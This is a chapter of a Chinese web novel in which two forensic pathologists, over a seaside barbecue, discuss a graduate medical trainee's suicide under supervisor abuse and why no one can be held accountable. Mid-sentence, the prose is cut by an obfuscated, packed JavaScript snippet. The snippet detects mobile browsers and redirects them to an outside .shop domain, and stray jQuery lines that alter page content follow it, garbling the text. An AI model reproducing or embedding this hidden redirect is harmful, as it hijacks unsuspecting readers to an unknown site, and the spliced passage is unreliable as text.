下班后,晁珍只感气短,找到了白将弛,问要不要一起吃烧烤。他本没什么胃口,但难得一次的主动邀请,当然没有道理推辞。
两人去了东海岸边的一家渔人烧烤,面朝大海,撸串喝酒。天还不算热,甚是舒惬。
晁珍嚼着嘴里的肉筋,半眯着迎风望海:“你说,是不是几乎不可能追查刑事责任?”
白将弛仰头喝了口冰啤,摇了摇酒瓶:“追查谁呢?她是自杀。警方所有的调查资料都表明,不存在教唆自杀、非法拘禁和身体虐待,没有这些情节严重的极端情况,根本碰触不到刑法。”
晁珍眼神一默,不再作声。她是刑侦出身,其实比谁都了解,这件案子根本无法认定刑责。即便有证据显示燕雨生前遭受了工作压榨,言语批评,甚至毕业要挟,但都不算是直接导致她自杀的犯罪。
一根烤串入肚,随后凌空一道弧度,被抛进了签筒里。晁珍接着捧起一粟玉米棒子,让碳水的香甜扫扫脑袋里的沉郁:“民事责任呢,人格权之类的,会好打吗?”
白将弛也拿起一串肉,吃了两口,摇摇头:“我不是律师不很清楚。但这种长期精神压迫想要举证相当困难,大部分的压榨是隐形的,怎么做书面证据。”
晁珍手肘放在桌面,支着脑袋瞅向海边:“那联合调查组会给出什么惩罚吗?是不是也很难处分。”夜色渐暗,浪花奔涌的模样渐渐模糊:“是啊,正式的职务或者纪律处分都必须得有明确对应的违纪违法条款。”
海浪澎湃的声音越来越大,白将弛点点头,尽管这里氛围轻松,但他不觉自在:“所有行为触及不到这些纪律,最多就是停诊调岗这类柔性处理,等风头过去,当事人可能会平稳回归。”
晁珍将玉米放到自己的盘子里,往常一口作气能嗦噜干净,现在则有些食难下咽:“风头过去,平稳回归……那燕雨呢,她能死而复活吗?人命代价如此之大,惩罚却是轻轻落下。”
今夜海浪声音不高,撞破礁石随即散开,剩下些哗啦作响的碎沫,轻微得像晁珍的叹息。
白将弛:“规培制度设立之初的目的和出发点是好的,希望培养高素质的专业人才,提高医生专业能力。不过的确让一些不良导师给弄变了味,许多规培生沦为廉价劳动力。其实也不止是医学生,目前高校师生间就存在不对等的问题,导师能一言堂够把控毕业,硕博生哪敢得罪呢?”
晁珍眉头紧皱:“可是学校里不都有师德师风的委员会吗?”话音方落,自顾自地摇了摇头,利益绑定下内部监督会有多大的威慑呢?
导师是学院的核心生产力。科研经费、论文产出、学科评估排名……所有的绩效,都是导师们给单位带来的。一个有高产出的学术导师,即便存在压榨行为,学院往往还是会护短偏袒。
除却性骚扰、索贿、学术不端等明显的违规行为,其余对待学生的压榨很难界定,无法界定就无法将监督落在实处。学生延毕是能力不足还是刻意刁难?参与科研基金项目是培养能力还是无偿打杂?这些解释权从来不在学生这一方。
晁珍将头发绾了起来,免得叫风吹得混乱:“燕雨没了,可燕雨们还在啊。讲真的,我很久没有过这么深的无力感了。”
“之前,我都希望解剖的死者并没有遭受痛苦的犯罪,是自杀也好,是意外也好,终归没有冤情是最好的。可燕雨的自杀,能够称之为解脱吗?她不含恨吗?”
“检查、解剖、分析……我做得格外仔细,很希望真的能找到什么他伤的痕迹。可是,没有。杀她的刀,好精妙,精妙到无形。我瞧着,比无数侦探小说还要厉害,这算不算完美的高智商犯罪?”
白将弛眼神一顿:“你情绪太重,该抽离抽离。”
“我当然可以抽离,可抽离不出来的人呢。”晁珍拿起冰啤饮了口,没一会儿已经红上脸:“我之前看到网络上有个困惑,说一个行业如果越老越吃香,那么这个行业的年轻人能吃什么?”
“朝气蓬勃的年轻人啊!不该活得像耗材。”
晁珍显然喝得有些晕乎,望向海面的双瞳充满了水汽:“这个时代,发展得好快,好像停不下来,好像到处都是戾气。可快不该是为了更好的活吗,怎么会加速人们去死呢。那么鲜活的、年轻的生命啊,偏偏燕雨还不是孤例。”
“今天望着她的那张脸,心里反复在和她对话,好希望我们会面的时间能够穿梭到她生前。那样就能劝劝她,我想跟她讲:可以退学,可以拒绝,哪怕代价很大,哪怕真的自绝前程,也不要用自己的生命去换那样一个过刚则折的结果,真的不值得。”
“人活了一回,就该感受一回为人的快乐、自在、幸福啊。”
“她死掉了,爸妈陷进无限的悲伤之中。哪怕仇者不快,可亲者却是真的在痛啊。”
白将弛轻轻抬了抬眼,静静听着那一番苦诉,仿佛依稀回到了数年之前。晁珍还是那个对天下不公无法不抗的理想主义者,他们这一行,就是要见罪恶,见众生皆苦的。许多法医干着干着会越来越沉默,对人性看透了也就不报以希冀,但晁珍还有会愤怒的赤子之心。
很多人会觉得这有些幼稚,但白将弛觉得,这很可贵。
久盯着的视线撞见对方的,白将弛闪躲了下,自饮起酒来,佯作漫不经心。晁珍没量,白将弛一惯会拦一拦,但今天显然她很难过,酒醉了的人情绪会跳脱,所以喝一点也好。
红扑扑的脸蛋擎在趴在桌面的臂弯里,晁珍看向男人:“白将弛。你,是个骗子。”
俊逸的剑眉一挑,带有笑意地哼气:“我骗你什么了。”
“在一起的时候,我压根就不知道你是个富二代。”晁珍的眼神空落落地下瞥,茫然得像自说自话:“你哪里有个富二代的样子。如果知道你是,我绝对不会攀扯你的。”
剑眉忽松,不由笑了起来,白将弛又问:“富二代什么样子?”
晁珍真是有些醉了,已经恹恹地发晕,摇摇头:“我也不知道,反正不该是你这样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709672|206494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
富二代会吃路边摊吗?会穿我买的非牌子货吗?会去早市陪我去排队买炸油饼吗?”
过去那些事儿再度在脑海回荡,晁珍越发觉得白将弛真能装。
白将弛无语地咂咂嘴,将瓶底剩下的那口酒一饮而尽,无所谓道:“那怎么了。”甫一顿,问道:“你知道我为什么选择当法医吗?”
晁珍摇摇头。她恍然一愣,这个话题两个人竟然从未聊过,也不是,她讲过自己的。
夜色已墨,头顶大排档一连串的小灯泡闪闪烁烁,几束暖黄的光打下来,晁珍有些恍惚。她觉得轻飘飘的,入梦一般,而白将弛娓娓道来自己的故事,声音有点好听。
“我16岁考入少年班,也就提前步入了成年人的世界。之前只顾着考学,完全没有意识到物质和财富对一个人来说有多么重要。都是读书的学生,吃穿用度能有什么不同的呢?但上了大学,就发现了,哦,原来财富能带来虚荣心。”
晁珍双眼一狭,有些不可思议:“好难想象,你虚荣的样子。”
白将弛:“我当然也有,谁也不是圣人。尤其年少轻狂的那会儿,有这样的资本,很难抑制自己的傲气的。又过了两年,考了驾照,还开始迷上车啊,表啊之类的东西。但我发觉,这种生活会让心态变乱,落到最实的地方,就是成绩。”
“我发觉,脑子不再像从前那么清晰,心也不如原来静了。从前一目十行,一点就通的东西,我居然要认真地学和反复地思考,那一刻忽然明白了什么是伤仲永。也才惊觉,我并非什么天选之子,如果不努力,再高的天分也会老天爷被剥夺走。”
晁珍认真地听,慨叹道:“没想过,你还会迷茫。”
“会啊,迷茫了好久。到了要分专业的时候,各个学院的老师会上少年班宣讲,到了李头那里,其实没什么人认真听,我们这个班从来没有学生选过法医。李头演讲的时候说了这么一番话:像你们这样无所不能的天才会不会也对生活产生疑惑呢?当任何学科都解决不了你的问题时,不如向死亡问一问。”
不如向死亡问一问。
“在死亡面前,人会收起所有的傲慢。权力、阶级、财富通通都被祛魅。一把刀,剖开来,肉是肉,骨是骨。男女老少,富贵贫穷,无有差别。所以,当我真正了解死亡,也才看明白生的意义,活法过法也才像个人。”
晁珍扑哧一笑:“这话说的,怎么,之前活得不像人?”
白将弛点点头:“不是所有人都能把人生看明白和通透的,不然也不会有嗔痴怨念,也不会有因为各种欲望没被满足导致的犯罪了。有的人呢,到老才能体悟出这种智慧,但这都是幸运的。”
晁珍点点头,将最后一串烤鱿鱼吃掉,晃荡着步伐,起步去结账。
在往停车场走的路上,看晁珍情绪渐渐稳定,白将弛才问道:“刘队给的材料里有一个小说,是燕雨生写的,在网上连载,但没什么人看,像是她生活的自述。你要看看吗?”
“要。”